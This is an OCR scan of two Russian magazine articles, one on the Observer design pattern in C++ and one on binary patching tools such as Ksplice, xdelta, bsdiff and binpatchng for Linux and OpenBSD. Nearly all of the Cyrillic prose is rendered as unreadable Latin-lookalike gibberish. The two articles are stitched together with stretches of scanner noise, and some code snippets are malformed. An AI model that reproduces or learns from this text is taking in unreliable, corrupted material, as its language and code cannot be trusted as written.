BAlOLLLY0 UHTEPAKTUBHOCTb, @ MOXKET BBEPTHYTb PaCcTyLLME MPOeKThI B
My4YKHY CMareTTV KoAa ¢ KackafiaMy 3aMblKaHW i ¥ 3aBOPOTaMU aCUHXPOH-
HoW noruku... bynem HagedTbcs Ha nyylwee. 3T
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deeonis (deeonis@gmail.com)

MpofomKaeM 3HaKOMCTBO C NaTTepHaMy 06beKTHO-
OPVEHTMPOBAHHOI0 MporpaMmupoBaHus. CerogHs
Mbl y3HaeM 0 naTTepHe «Habnogatenb», KOTOpbIii
obnerymnxm3Hb MHornm 00-nporpammucTam.
JTiobas cnuctema, paboTatoLas B pexxmme peanbHOro
BPEMEHM, B TON UM MHOW CTENEHM MOXXET UCMOJ1b-
30BaTb 3TOTNATTEPH, ¥ MO3TOMY €0 3HAHWE U NOHU-
MaHvie MpocTo Heobxoanmo NtoboMy yBaxkatoLLeMy
cebakomepy.

«interfacess Ownarpamma
Observable
KjlaccoBnaTTepHa
+AddObserver(o: Observer) «Haﬁﬂlo,aneﬂb»
+RemoveObserver(o: Observer)
+NotifyObserver()
A

ConcreteObservable N

o.. «interface>>
-observers: Observer[] Observer
+AddObserver(o: Observer)
+RemoveObserver(o: Observer)
+NotifyObserver()

: ConcreteObserer

Bbi3biBaeT meTog HadleEvent()
y Kaxgoro Habnwpatens +HadleEvent()
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peACcTaBUM CUTYaLLWIO, YTO HAC B3M Ha paboTy B KpynHYto dupmy,

KoTopas pa3pabaTtbiBaeT cOPTANIH MOHUTOPUHIA paboThbl KOMMbIO-

TepHoroxenesa.Y HUX eCTb HEKUI ipaliBep, KOTOPbIV OTCAEXM-
BaeTTeMnepaTypy npouecca, obopotel HDD, TeMnepaTypy BufeokapTbi v
npouyyto nHpopmaumio. Halwa 3agaya HanucaTb KNIMEHTCKYO YacTb codTa,
Ty, KoTopas paboTaeTB ring-3 v BLIBOAUT ITY MHGOPMaLMIO N0b30BaTENIO
BpeXiMe peasibHOro BpeMeHu. [lpuyem nporpamMma foJKHa He NpocTo
BbIBOAWTL MHPY BKYUY, a NOKa3biBaTb €€ Ha pa3HbIX «3KpaHax». ToecTb
OAIMH MOAYIb KJINMEHTCKOI YaCTU 3aHNMaeTCs 0TobpaXKeHNEM COCTORHUS
LleHTpaNibHoro npoLeccopa, Apyroi Moayns—rpadpuyeckoro npoweccopa
nT.4.[lankak okazanoch, Halle HOBOE PyKOBOACTBO PELUMI0 3aMaxXHyTbCs
Ha MMPOBOE rOCMOACTBO M X04eT, YTobbl COPT bbIN paclumpsieMbiM, To eCTb
4T06bI CTOPOHHME Pa3paboTyMKN MOrIM CO3/,aBaTh CBOM MOLYN.

BHacnencTBo 0T Hallero npeALlecTBEHHVKA HaM JocTancs Knacc

Systemlnfo, KoTopbIfi BTeopumn npefjHa3HavaeTcs Aas cbopanHdbl o cucTeM-
HOM>KeJle3€ 1 0MOBELLEeHNMN KIIMEHTCKON 4acTh 06 NU3MEHEHUSIX B COCTOSHUM
aToroxenesa. EcnmcnepsoiiyacTbio ylweaLwmnii n3 GupMbl Kogep cnpasuics
XOPOLLO, TO BTOPYI0 OHTOJIbKO HaYas peann30BbiBaTh, M N03TOMY OCHOBHasA
4acTb paboTbl N0 KOMMyHUKaLWK kNacca Systeminfo c knueHTCKMU Moayns-
My ernaHaBalu nneyn. [lns HavyanagaBai B3rsiHeM, YTOy Hac ecTb.

MepBoHaYanbHblii BapuaHT knacca SystemInfo
class SystemInfo()

{

float getCPUTemp();
float getGPUTemp();
int getHDDSpeed();

void notifyClients();
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KOAUHI / TIPS&TRICKS

MeToabl getCPUTemp, getGPUTemp v getHDDSpeed npeaHa3HayeHsbl
N5 nonyyYeHns HdopMaLum oT Apansepa. TaM BCE NPoOCTO, M MO3TOMY OHU
paboTatoTkak yachl. Takxe umMeetcs Metog notifyClients, koTopbiid, cyas no
KOMMEHTaM Ballero npejLlecTBEHHIKA, A0JKEH 0NOBeLLaTh KINeHTCKNe
MOZYNN 06 NU3MEHEHNSX B COCTOSIHUM CUCTEMbI. 3TOT METO/, Bbi3bIBaETCH
rae-ToBHeapaxknacca Systemlinfo. Kak aTo genaetcs, HaM coBceM He
Ba)HO, rnaBHoe 1o, yTo notifyClients cpabaTbiBaeT npu KaxaoM angeite
MHObI 0)KeNe3e U KNNEHTCKNE MOLYIN TOYHO HUYEro He POMyCTAT.

HAYMHAEM KOONTb

[Ins Hayana HaM HYXKHO c1e1aTb TPM OCHOBHbIX MOLLYISt, KOTOpPbIE
oTobpaxatoT TeMnepaTypy npoLeccopa, TeMnepaTypy BUAeoKapThbl 1
ckopocTbBpaleHns HDD. Mol y)xe 3HaeM, 4To A5 ONOBELLEHNS KK-
eHTOB Mcnonb3yetcs pyHkuua notifyClients, ncneposatenbHo, Hapo
Kak-To nepeAaBaTb MHY 3 3TOro MeTofa HaLLUM MoaynsaM. Uxy Hac,
KCTaTW, nokasceroTpu: cpuTemp, gpuTemp nhddSpeed. Kaxabii n3
3TUX MOAYNel oJKeH yMeTb NonyyaTb AaHHble oT Systeminfo, noatomy
nepBblit BapnaHT peanusauuu notifyClients, KoTopblit npuxoguT B ronosy,
BbIMIAAUT NPUMEPHO TaK:

Peanusauusa notifyClients()

void SystemInfo()

{
float t_cpu = getCPUTemp();
float t_gpu = getGPUTemp();
int s_hdd = getHDDSpeed();

cpuTemp.update(t_cpu, t_gpu, s_hdd);
gpuTemp.update(t_cpu, t_gpu, s_hdd);
hddSpeed.update(t_cpu, t_gpu, s_hdd);

YToTyT, cobcTBEHHO, He Tak? Bo-nepBbiX, 0CHOBHBIM MPUHLMMOM
NpoeKTUPOBaHWSA C MOMOLLbIO NATTEPHOB ABNAETCA NPOrpaMMmnpoBa-
Hue HaypoBHe MHTepdeiicoB. B HaweM xe cnyyae knacc Systemlinfo
LOJKEeH 3HaTb NOAPOOHYI0 MHOPMALLMI0 O KAXKLOM KJIMEHTCKOM
Mozyne. 370, BOIMOXHO, Obi10 6bl NpueMneMo, ecnu bbl Yucno Moaynen
BbIN0 GUKCUPOBAHHBIM, HO Mbl MAHUPYEM NOCTOSIHHO YBENUYMBATL UX
KONIMYeCTBO, a Cle0BaTeNbHO, TAKOW NOAX0A CO3A4ACT Ky4yy HEYA06CTB,
aBnocneAcTBUU M ownboK. Bo-BTopbIX, NapaMeTpbl, nepefaBaeMble
byHkumam update(], oueHb cMaxuBaT Ha MHTepdec B3auMo[encTBMS
Mexay Systemlnfo v KNMEHTCKUMU MOZYNSAMMU, HO TAKOBLIMU HE B -
toTca. Hy M B-TpeTbux, BCe 3TV BbI30BbI MeToA08 update() —3To nepe-
MeHHas 4acCTb KOAa, KOTOPYI HYXXHO MHKancynuposaTb. MicnpaBneruem
3TUX HEA0CTATKOB Mbl CEYacC U 3aiMeMcs.

OCHOBBbITIATTEPHA «HABJTHOAATEJ1b»

EcnunTbl BbINMCbIBaELW b HaLL XKypHas, To Tebe yxe 3HaKoM NpuHLMN paboThl
natTepHa «Habniopatenb». EroycTpoincTBO 04eHb MNOX0XKE Ha MOANMCKY Ha
npeccy, Tof1bKo BKa4eCcTBe U3[jaTeNbCTBa B MUPE NAaTTEPHOB BbICTyNaeT
cy6beKT, pacchinatoLwnii onosel,eHns 06 U3MeHEHNN COCTOAHNSA Yero-
nnbo, aunTaTenIMu ABNAIOTCSA HablofaTeNn, KOTOpbIe PerucTpupyoTCsa y
cybbekTa Ana nony4yeHuns coobLLeHNn 0T Hero.

B npouecce paboTbl HabntogaTenm MoryTKak OTNMCbIBAaTLCS 0T OMO-
BELLEHWN, Tak M BHOBb Ha HUX noanucbiBaTbes. CybbekT byaeTncnpasHo
paccblnaTb BCEM KIMEHTaM co06LLeHNs 06 U3MeHeHUsxX B cucTeMe. Takum
obpa3oMm, rnaBHyt ponbBnaTTepHe byAyTuUrpaTth fBaMHTepdeinca: nHTep-
delic cybbekTa, pacchbinatolleroonoselleHus, T.e. Subject, nnHTepdeiic
HabniopaTtens, npuHUMatoLeroaTu onoselleHuns, T.e. Observer. Subject
OyneTonucbiBaTb METOAbI MOAMUCKMW M OTMUCKU Ha CODBITUSA, @ TaKXKe Me-
ToA, onoBelatWmnin HabnwgaTene 06 usmeHeHusx. ObserveronucoiBaet
OJVH eJUHCTBEHHbIN METOA — NPUHUMAIOLLNIA MHOPMaLMIo 0T 06beKTa.

MPUMEHAEM MNATTEPH

MTakK, Mbly)xe 3HaeM ;0CTaTOYHO, YTOObI U3MEHUTL KOA Halleil NporpaMMsbl
M NpUBECTU ero K NpaBuibHOMY BUAY. [Ins Hayana onuiemM nHTepdeiics
SubjectuObserver.
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WuTepdeiicel Subject n Observer

class Subject()

{

public:
void registerObserver(Observer &obs) = 0;
void removeObserver(Observer &obs) = 0;

protected:
void notifyObservers() = 0;

}

class Observer()
{
public:
void update(float t_cpu, float t_gpu, int s_hdd) = 0;
}

MeTtopbi registerObserver() uremoveObserver() cnyxar gns go-
basneHua/ynaneHus Habnogatenein U3 cnncka noANUCYUKoB. OyHKLUs
notifyObservers() 6ynetonosewats HabogaTenen, aMmeton update()
nutepdeiica ObserverbynetobpabaTteiBaTh 3T ONOBeELLEHMS. Tenepb
noanpaBuM Hawwm knaccol: Systemlinfo, CpuTemp, GpuTemp n HddSpeed.

Peanusauusa knaccos
class SystemInfo() :
public Subject
{
public:
void registerObserver(Observer &obs)
{
// kon, pobaBnAwWMIA CCbNKY Ha HabawgaTens
// B CNUCOK Uau Maccus

}

void removeObserver(Observer &obs)
// Kopn, ypanawwmii CCbiNKY Ha HabnwaaTens
// B CNUCOK UAu MaccuBs

¥
/...

protected:
void notifyObservers()
{
// kop, Bbi3biBawwmii MmeTon update()
// ona kaxporo obbekTa Observer u3 cnucka
}
}

class CpuTemp() : public Observer
{
public:
/] ...
void update(float t_cpu, float t_gpu, int s_hdd)
{
// xon, obpabaTbiBawwmnii MHdopmaumw ot SystemInfo
}
}

// Peanusauma knaccos GpuTemp n HddSpeed
// nopobHa peanusauuu CpuTemp

Peanusauus metonos registerObserver() uremoveObserver() go-
BOJIbHA TPMBMaNbHa, NOTOMY B pUMepe, NpMBeAEHHOM BblLLe, Mbl UL b
obowwnnce kKoMMeHTapusamu. CaMmoe npocToe, YTO MOXKHO AenaTh, — 3TO
[06aBAATb MY[aNATb CCbIIKM Ha 06bEKTbI B MaCCMB UM KaKoW-HMOYab
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STL-cnucok. notifyObservers() Takxe 6yget paboTaTh C 3TUM CIUCKOM,
nepebupas no oyepenu ero 3JeMeHTsl 1 Bbi3bias update().

B koHCTpyKTOpbI KNaccos, peanusytownx nHtepdeiic Observer, Mbl
nepepnaeM ccblfiKy Ha 06bekT Systeminfo, 4Tobbl UMETH BO3MOXKHOCTb 0~
6aBNATLCANYAANATHCA U3 04EPeAN HOTUPMKALNN.

TakastapxuTeKTypano3BoseT CBECTN 3aBUCMMOCTb Mexy cybbek-
TOM M HabofaTeN MU K MUHUMYMY. BCE, 4To 3HaeT SystemlInfo o cBonx
KJINEHTCKUX MOLLYNAX, 3TO TO, YTO OHM peann3yioT uHTepdeiic Observer.
EcnukonnyecTso 3TUX MoflyNeit yBENINYNTCS, HaM He NPUAETCA N1e3Tb B
kop SystemlInfo. BoneeToro, Mbl MOXKeM BHOCUTb N0Oble 3MEHEHUS B
cybbekTnHabnofaTene, [oTex nop noka ux nHTepdeiicbl ocTalTCs He-
13MeHHbl. Ho npu Bcex nilocaxy AaHHon peanusaunm natrepHa «Habnio-
faTefb» eCTb M HeOCTATKM.

NCTMPABJIAEM HEOCTATKW

OcHoBHOV NpobsieMoii B HALLEeM NpUMepe SBASETCS TO, YTO KJINEHTCKME
MOZYAV MOJTYyHaloT CAULWKOM MHOTFO HEHYXXHON MHPopMaLuum oT SystemInfo.
Hanpumep, knaccy GpuTemp Hy>XHO 3HaTb TONIbKO TeMNepaTypy Ha yune
BUAleoKapThbl, a ckopocTb HDD nnpoyee eMy He HYXXHO.

OuyeHbTeCHO CBSI3aH C3TUM 06CTOATENLCTBOM M APYroit MUHYC —Habop
LaHHbIX, NepeaBaeMblx B Ka4ecTBe napamMeTpos B GpyHkLuio update(),
anseTcs dukcmpoBaHHbIM. T. e. ecnun SystemInfo HauyHeTnpeocTaBnaTh
elle OAMH TUM JaHHbIX, HANPUMep CKOpPoCTb YTeHns/3anucu SSD-ancka,
TOHaM NpUAeTCS N3MeHATb UHTepdeiic Observer, acnepoBaTenbHo,

v peanusauuio Metoda update(] Bo Bcex knaccax, HacneAyOLLNX 3TOT
nHTepdeiic. Takxe Ham npuaeTcs nognpasuts kog notifyObservers(). 3to
COBCEMHEe TO, Yero Mbl XOTUM L,0BUTLCS, MCMOMb3Ys NAaTTEePHbI NPOrpaMMu-
poBaHus.

[ns peleHuns aTux AByx npobrieM cnepyeT co3aaTh OTAE/bHbIN KNacc
UAN CTPYKTYpY (KoMy Kak 6osbLe HpaBUTCS) 415 XpaHeHWs nepeasae-
MbiX faHHbIX. MeTog update(] byseT npuHuMaTb yKasaTenb Ha 3Ty CTPYKTY-
pyBKayecTBe napaMeTpa. 3T0O NO3BONUTHaM B byayLieM be3bonesHeHHO
M3MEHSATb KONIMYECTBO U TUM NepeaBaeMoii KIIMEHTCKUM MOLYAM
nHdopMaumun. boneeToro, Mbl cMoXXeM nepefaBaTh HyJeBo ykasaTeNb
Ha CTPYKTYPY faHHbIX, YTO ByAeT 03HayaTb, YTO UCMOJIb3YETCA MOAESb C
3aMpocoM iaHHbIX, T. €. KJIMEHTCKWE MOAYN B 3TOM clyyvae byayTcamu
3anpalunBaTb MHTepecyLyo nx uHdopmaumioy Systeminfo.
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BblHOCUM NepefaBaeMble AaHHble B OTAENbHYK CTPYKTYpY
struct SIData
{

float t_cpu;

float t_gpu;

int s_hdd;

class SystemInfo() : public Subject
{
public:

// BOMONHUTENbHBIE METOAb! A/1S 3aNPOCa KOHKPETHbIX AaHHbIX
float getCpuTemp();
float getGpuTemp();
int getHddSpeed();

class Observer()
{
public:
void update(SIData *data = NULL) = 0;
¥

class CpuTemp() : public Observer
{
public:
/] ...
void update(SIData *data)
{
if (data == NULL)
{
float t_cpu = sysInfo.getCpuTemp();
)
// kon, obpabaTtbiBawwuit MHGopmauumiw oT SystemInfo
}
}

// Peanusauua knaccoB GpuTemp n HddSpeed
// nopobHa peanusauuu CpuTemp

OcTanacbelye ogHa HebonbLwas npobnemMka—Kaccol, peanvsyio-
we Observer, 0693aHbl BCBOEM KOHCTPYKTOpE NPUHUMATH BKayecTse
napameTpa CCbifIKy Ha 00beKT, peanusyowmnit nHtepdeic Subject. HoaTa
0093aHHOCTb HUTALE He MPONWCaHa Ha ypoBHe MHTepdeiica, 4To 03HavaeT,
4TO B KaKOM-HUOY b 13 ByAYLLMX KIMEHTCKUX MOAy el Mbl 0653aTesbHO 3a-
OyAeM HaKoANTb KOHCTPYKTOP, MPUHUMAIOLLUIA 3TY CCbINKY. B C++ Mbl MOXEM
HEMHOr0 CXUTPUTb, BOCMOb30BABLUNCH BO3MOXKHOCThIO MHOXECTBEHHOTO
Hacnefo0BaHUA BMOJHO CTeNeHU M NepefenaB nHTepdenc B NoSHOLEH-
HbINabCcTpaKTHBIM Knacc. To ecTb Co3aaanM KoHCTpyKTop Ans Observer'a,
KoTopblii ByaeT npuHUMaTh CChiiKy Ha Subject. BaToM cnyyae BcemM goyepHuM
KnaccaMm nNpuaeTcs BoJleii-HeBoe NPUHUMaTL B CBOEM KOHCTPYKTOPE TY XKe
ccbinky Ha Subject.

B opyrvx si3bika nporpaMM1MpoBaHmns, 3anpeLLallyx MHOXeCTBEHHOE
Hac/e0BaHNe M KOHCTPYKTOPbl Yy uHTepdeiicos, npuaetcs 8 Observer'e
ONWCbIBaTbL OTAEbHbIA METOA ANA MOJTYYEHNS CChIIKM Ha 00bEKT, pea-
nu3yloLmnii Subject, M BbI3bIBaTL 3TOT METO CaMOCTOSTENIbHO Y)Ke Noce
CO3[LaHUSA KJINEHTCKOr0 MOAYAS.

3AKJIHOYEHNE

Mbly3Hanuewe ob ogHom natTepHe 00-nporpaMMupoBaHmns, KOTOPbIN,
KCTaTW roBOpS, MCMOJb3YeTCH LOBObHO YaCTO B COBPEMEHHOM COBTOCTPO-
eHun. B cnepyownx Bbinyckax Mbl NPOA0JIKMM KOAUTH C MOMOLLbIO NaTTep-
HOB, @ MOKa COBETYI0 3aHATH CBO MO3T YeM-HNOY /b YMHbIM 1 M0ONe3HbIM. 3T

m
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EBreHni 306HuH (execbit.ru)

X

3A4YEM HYXXHbl BUHAPHDIE NATYM,
UKAKUMUNOJIb3OBATbCSH

B HMKCcax He NpUHATO MCMOMb30-
BaTb buHapHble natyu. 06bIYHO
0OHOBJIEHUSA PAaCNPOCTPAHAIOTCA B
BUJe NakeToB, TapbonnoB c ucxon-
HWKaMM UM TEKCTOBbIX Gainios,
co3gaHHbix yTunuTton diff. Tem He
MeHee, HaCTPOMB CBOK CUCTEMY Ha
0bHOBNIEHME C NOMOLL b BUHAPHbIX
naTyem, Tbl CMOXeLLb CYLLLIECTBEH-
HO CIKOHOMMWTb BPeMS U TPADUK U
[,aXe 0TKa3aTbCs 0T Nepe3arpy3ku
npv obHoBNEHUM sapa.
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[LINKS]
g0o.g1/Ma08|—

WUCXOAHbINKOA MO-
cnepHei nybnuyHoi
BepcunKsplice.

Debdeltaumeer
onuumio --delta-algo’,
CMOMOLLbIO KOTOPO#
MOXHOYKa3aTbnpea-
noynuTaemMywyTm-
NUTY ANS CO3aHMNSA
naryeii. [locTynHele
BapuaHThbli:xdelta,
xdelta-bzip, xdelta3
nbsdiff.

PaboTynoHa-
nucanuio Makefile
ansbinpatchng
MOXHO MOJIHOCTbIO
aBTOMaTU3MpPOBaTh,
ecnMBoCNoNb30-
BaTbCSA CKPUNTOM,
ony6n11KoBaHHbBIM
BAMCKYCCUOHHOM
nuncte OpenBSD (goo.
gl/FY7PX).

3TOM CTaTbe Mbl PACCMOTPUM YeTblpe MexaHW3Ma co3faHuns
E BMHapHbIX NaTyell M NOroBOPKUM 0 HA3HAYEHWMN KaX 00 U3 HUX.

B nepsoiiyacTu ctaTbm s pacckaxy o Ksplice —TexHonorum,
cnocobHoi foBecTn uptime cepsepa go 100 %, panee Mbi norosopmm 06
uHcTpyMeHTax xdelta n bsdiff, c nomMolLbio KOTOPBIX MOXHO NPUANYHO
CIKOHOMUTb Ha Tpaduke Npu 06HOBAEHUM CUCTEMbI, BTPETbEI YacTu
yLeNuM BHUMaHue MexaHu3My deltup, skoHoMUA TpaduKa NpnM UCNonb30-
BaHWUU KOTOPOT0 MOXET LOCTUTHYTb 95 %. YeTBepTasn 4acTb NoCBsLLLEHA
bpeiimBopky binpatchng, npefHa3HavyeHHOMY 4151 CO34aHUA NAKETOB C
naTyamu gns 6asoson uHctannaumum OpenBSD B goMalHMX ycnoBusix.

HaBepHoe, 0 Ksplice neroHepnaBHelt nokynke komnanuei Oracle cnbl-
Wwanuece. ITO TaKoW XUTPbI MexaHW3M (UK faxe, Nyylle cKasaTb, Xak),
KOTOPbIV MO3BONSET HAaKaTbIBaTb 00HOBNEHUS HAa AAPO Linux Ha neTy, He
Tpebys nepesarpy3ku MalUHbI UK Aaxe Kakoin-To paboTel no cbopke
Moaynen sigpa.

MexaHu3m Ksplice ucnonb3yeT J0BOIBHO MHTEPECHbBI METOA NaT-
YMHra fi4pa, BOCHOBE KOTOPOTO IEXKNUT TEXHWKE U3MEHEHUS KOMMOHEHTOB
s4panpsaMo Bo BpeMs ero paboTsl. [lenaetcastos ABawara. Hanepsom
3TaneoTpabaTtbiBaeTyTUANTA FreHepaLumn buHapHoronaTya, Kotopas
noJsly4yaeT Ha BXOA MECTOPACMON0XeHNE NCXOLHbIX TEKCTOB Linux-aapau
baiin, copepxalimii cTaHAAPTHBIA NaTy Ha UCXoAHbI koA B diff-dpopmare.
HanoXnB 3ToT NaTy Ha UCXOAHWKW, yTUANTA KOMIUANPYET 34,p0, CPAaBHU-
BaeTnosyynBLINiACS 0bpa3 cAApOM NpeAbiAyLLeli BEpCUM U reHepupyeT
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Pasz3annatka, iBa3annaTka

MOAY/b 14pa, COAEPXKALLUIA U3IMEHEHHbIE YAaCTH, @ eCNIN KOHKPEeTHEE —KOf,
M3MEHeHHbIX PYHKLMIA. I3TOTNaTy-MOAYy b NepeaeTcs Ha MallnHy, AP0
KOTOPOW A,0JKHO bbITb 06HOBNIEHO. Ha BTOpOM 3Tane B Aeso BCTynaeT
mopynbsapaksplice.ko, KoTopblii BMecTe c NaTy-MOAyIeM 3arpyxaeTcs
BA4PO Lenesoi MawuHbl. Mocne 3arpysku ksplice.ko aHannanpyetnaty-
MOAY/b Ha NpeAMEeT HaMYNA HOBbIX BEPCUI GYHKUWI SApa v U3MeHseT
afipeca HacToALMX QYHKLUUA AAPa, Tak YTOObI OHM yKa3biBaM Ha GYHK-
LMK, coflepxallymecs BnaTy-moayne. Takum o6pa3oMyfaeTcs USMeHNTb
SAPO, He NepeKoMNUANpys ero.

MuHyc TakoronoAxoaaBTOM, 4TO paKTUYECKN OH MOAXOAUT TONbKO
ansaucnpasneHns HebonbluMx ownboK 1 naTaHUs Abip, bonee KpynHble
06HOBNEHNS, 3aTparuBatoLLe MHOXeCTBO GYHKLMIA, fobaBnsiowme
HOBbIN GYHKLMOHA U U3MEHSIOLLME BHYTPEHHNE CTPYKTYpbI AA4Pa, TaKUM
obpasoMHe chenaelwsb. TeM He MeHee aBTop Ksplice oTMeyaeT focTaToy-
HO BbICOKY10 3¢ GEKTUBHOCTb CUCTEMBbI, OHA CMOTJIa B MOTHOCTbIO aBTOMa-
TUYECKOM pexuMe creHepupoBaTb 84 % natueit ans bugfix-obHoBnexuni
f4pa, BbiNylWeHHbIX3aTpuroaa. [1ns ocTanbHbIX 06HOBAEHUIA NPULLINOCH
HeMHoronopaboTtaTb pykamu.

Kcoxanenuto, 82009 ., nocne oTkpbiTus KoMmnanuu Ksplice Inc.,
aBTOP peLUN 3aKpbITb KOJ CUCTEMBI, HE MO3BOJIMB YACTHbIM JINLLAM U CTO-
POHHWM KOMMaHWsM caMuM co3pasaTtb Ksplice-natyu. MoaTomy B 3TOM
cTaTbe Mbl He ByileM 06CyXXAaTb 3Ty TEMY 1 paCCMOTPUM BOMPOC TOSIbKO
CKJINEHTCKOM TOYKN 3peHUs. ABLITNAAMT OHa Tak: ceroaHs Ksplice
npuHagnexutOracle, koTopasi npofosKaeT NpeoCcTaBAATb CEPBUC
abcontoTHO becnnaTHoro oHNaH-obHoBNEHNS AApa ANs [UMCcTpubyTnBOB
Ubuntuun Fedora, aTtakxe gns cobctBeHHoro BapnaHta RHEL nog Ha-
3BaHueM Unbreakable Linux. Monb3oBaTenv Bcex ocTanbHbIX KOpropa-
TUBHLIX AUCTPNOYTNBOB NpoJsieTaloT.

TenepboTOM, Kak 3TUM nonb3osaTbes. Ans Ubuntun Fedora Ha caiTe
ksplice.com ecTb nakeT, erocyiiegyet ckayaTb MyCTaHOBUTbL CTaHAApPT-
HbIMW CpefCTBaMM:

$ sudo apt-get install curl
$ sudo dpkg -i ksplice-uptrack.deb

[lanee cornawaemcs c AnLeH3nei. MosBUTCA OKHO CO CMUCKOM BCeX
LOCTYNHbIX A5 HaWwero sapaobHoBneHuit. HaxumaeM kHonky Install, n
cucTeMackayaeT HyKHble naTynm n3 CeTu n 3arpy3unT nx B agpo. Ytobbl 8
cnyyae nepesarpysku naTy-MoAyv bbin 3arpyXKeHsl, BMECTe C akeTOM
ycTaHaBNAMBaeTCs cTapToBblIM CkpunT. CucTeMa Bcerga cneanT3a o6HOB-
NeHNaM 1 cooblaeT o HX C MOMOLLbIO 3HaYKa BTpee.

XDELTA, BSDIFF

WTak, c Ksplice v eron3epaLieHHbIM NOAX040M K HaKNaAblBaHUIO NaTyen
pa3obpanuch, Tenepb HaCTaNo BPEMS MOrOBOPUTH 06 yTUAUTAX, KOTOPbIE
MO3BONSIOT NPUMEHWUTH OMHAPHbIE NAaT4YW Ha OTAEJIbHO B3ATbIE NPy~
noxenus. BUNIX cywecTByeT Kak MUHUMYM TPU TaKUX UHCTPYMeHTa:

3To cTapeiwas pa3paboTka xdelta, Bolpoclias n3 Kycka Koga rsync,
0TBeYalLLero3a MHKpeMeHTaNbHbl 63Kan, ero bonee coBpeMeHHas n
pa3suTas Bepcus nojHassaHueM xdeltad v bsdiff, paspabotanHblie gns
ncnonb3osanusa B BSD-cuctemax.

Mo cBoel cyTM BCE TPU MHCTPYMEHTa NpefCcTaBNsAtoT coboi aHanor
BCEM HaM M3BecTHoi nporpammel diff, KoTopblii onepupyeT He cTpokamy,
anocnefoBaTeNlbHOCThI0 6aiiT. 3T0 JaeTBO3MOXKHOCTbL MCMOb30BaTh
YTUANUTbI He TONIbKO 418 BBIYUCEHNSA Pa3HULLbl Mexay daitnamm ¢
MCXOAHBIM KOJLOM, HO M AN N06bIX ApYruX faHHbIX, OyAb To BUHapHUK
npunoxXeHus, tar.gz-apxue unwv faxe sngeodaiin. Ecnutebe nHtepecHo,
Kak 3To paboTaeT, TO peKOMeHAY0 03HaKOMUTLCS €O CTaTbel «[lenbTa-
KoaupoBaHue», onybnvkosarHoii B Wikipedia (ru.wikipedia.org/wiki/
[lensTa-KonnposaHuel, 5 ke Nyylle pacckaxy o ToM, 3a4eM BCE 3T0
HY)XXHO M KaK C 3TUM paboTaTb.

[nsyeroHyxeH 6uHapHbI diff? Bcé 04eHb NpocTo: UMesi BO3MOX-
HOCTb HakKNafblBaTb 6HapHbIe NaTyYK Ha yxxe paboTatoL e NpUaoKeHUs
WU LieNible apXMUBbI C UCXO[HUKAMU, MOXKHO CEpbe3HO CIKOHOMUTb Ha
Tpaduke. B HaweM be3n1MMUTHOM MUpPe IKOHOMUA TpaduKa MOXKET U He
cAenatb 60NbLWOV BbIFOAbLI B AE€HEXHOM NaHe, HO BOT BpeMs CoKpaTuT
CylLecTBEHHO, 0COHEHHO NPU KPYMHbIX 00HOBIEHUAX BCEI CUCTeMbI. He-

XAKEP 10/153/2011

T e g Bk n o g o 3t g iy Tl - b s e
DT ST F RS TR, | PR SR —

e e L LT T L 1T}

FETE RELE ML 1T P D i T ]
A e ke oy S e ey o e e Ak 0w e me e e e d——

W | P s o ey, Rl b, Lo, i, s, Skl gl
[N Pl S e g ————

B it i i ke Cmekry s el

L BT NP Bl 11 TP s
e T v | e — i v
i i e ke e . g § YA ) . e ] A, SR i e s e o
A FlTme i) B W e TS

e i, v b vl oy it b v il ol TR 20 e e o8 i e B (T B o ks B ey &
[t hrae iy T T Ay —y

A vy i sk meep. = il ol e e

o R

P L1 11 D St
- = L Ly
i T ST S Je— =

MepeyeHb KpuTHYeckux obHoBNeHMIt Ans OpenBSD 4.8

KOTOpble AUCTPUOYTUBbLI MO3BONAIOT «BCTPOUTL» yTUANTHI 418 HaK1a-
[bIBaHWNs BUHapHbIX NaTyet BNakeTHbIA MeHeXep, Tak 4To, UCNpaBuB
BCEro napy-Tpoiky KOHGUIroB, MOXKHO NPOCTO CUAETb M HACNAXKAATbCS
OblcTpbIMM anpenTaMu.

OnaToro4yTobbl MEXaHW3M MHKPEMEHTaNbHbIX anaenTos 3apaboTan,
LLOJKHO BbITh BbINOJHEHO TPU yCIOBUS. Bo-nepBbiX, NakeTHbIA MEHEe -
Xep AncTpubyTUBa J0JKEH NOAAEPXMBATL paboTy cyTUNNTON MHKpe-
MeHTanbHoro angeinTa. Takas nogaepxkaecTb B pacmanusArchLinux
Myepe3yCcTaHOBKY loNoNHUTeNbHOro nakeTa debdelta, B Debian.
Bo-BTOpbIX, BOSKEH CYyLlecTBOBaTb CNeunanbHbli delta-peno3utopuin,
KoTOpbIN byfeToTBeYaTb 3a XxpaHeHWe NaTyen K NakeTaM U CBOEBPEMEH-
HOreHepupoBaTb HOBbIE NAaTUYM AN 06HOBNEHMA. Takue cepBepbl 06bIYHO
[lepXaT IHTY3MacCTbl, N0O3TOMY 06bI4HO UX LOBOSIbHO TPYAHO HAWTH, @ €K
HalfelWb, HUKTO He AacT rapaHTWK, YTO 3aBTpa CepBep He ucyesHeT (3To
rnasHas 6efa 6uHapHbix natyei). M B-TpeTbux, B K3Lie NaKeTHOro Me-
HefKepa Bcerga A0/KHbl JIeXaTb 3aK3LWNWPOBaHHbIe BO BPEMS NpeAbIAy-
el ycTaHOBKM NaKeTbl, Ha KOTOpble Kak pa3 u byayT HaknaAblBaTbCs
naTuyu. ITO BaXKHbI MOMEHT, Tak Kak MHOTMe U3 Hac (1 s B ToM ynce)
N06AT BpeMsa 0T BpeMeHm 3ToT K3 noaymuwats (oaHako ansa debdelta, o
KOTOPOM Mbl OTOBOPUM HUXE, M OHU He HYKHbl).

Tenepb 0TOM, Kak NPOMCXOAUT HACTPOIIKA NaKeTHOro MeHeAXepa:

B ArchLinuxBcé pelwaeTcsi LOBONIbLHO NPOCTO. YCTaHaBAWBaeM TpeTbio
Bepcuio xdelta:

$ sudo pacman -S xdelta3

OTkpbiBaeM /etc/pacman.conf, cHuMaeM 3Hak KOMMeHTapus co
ctpokn UseDelta. OTkpbiBaeM cnucok penosutopues /etc/pacman.d/
mirrorlistuBcamoe ero Ha4yano [06aBAsSeM CeAyOLLY0 CTPOKY:

Server = http://delta.archlinux.fr/$repo/os/$arch

CoxpaHsieM ¢pain v npobyeM BbINOAHNUTL MOJSIHOE 06HOBNEHWE ANC-
TpubyTuea:

$ sudo pacman -Syu

PasHuua gonxHa bbiTh, YT0 Ha3biBaeTcs, HanuLo. lpobnema ToNbKO B
ToM, ytoarchlinux.frcogepxuT fensTol Janeko He 415 BCeX NakeToB, HO,
YBbl, a/1bT@PHATMBbLI 34€Cb MPOCTO HeT.

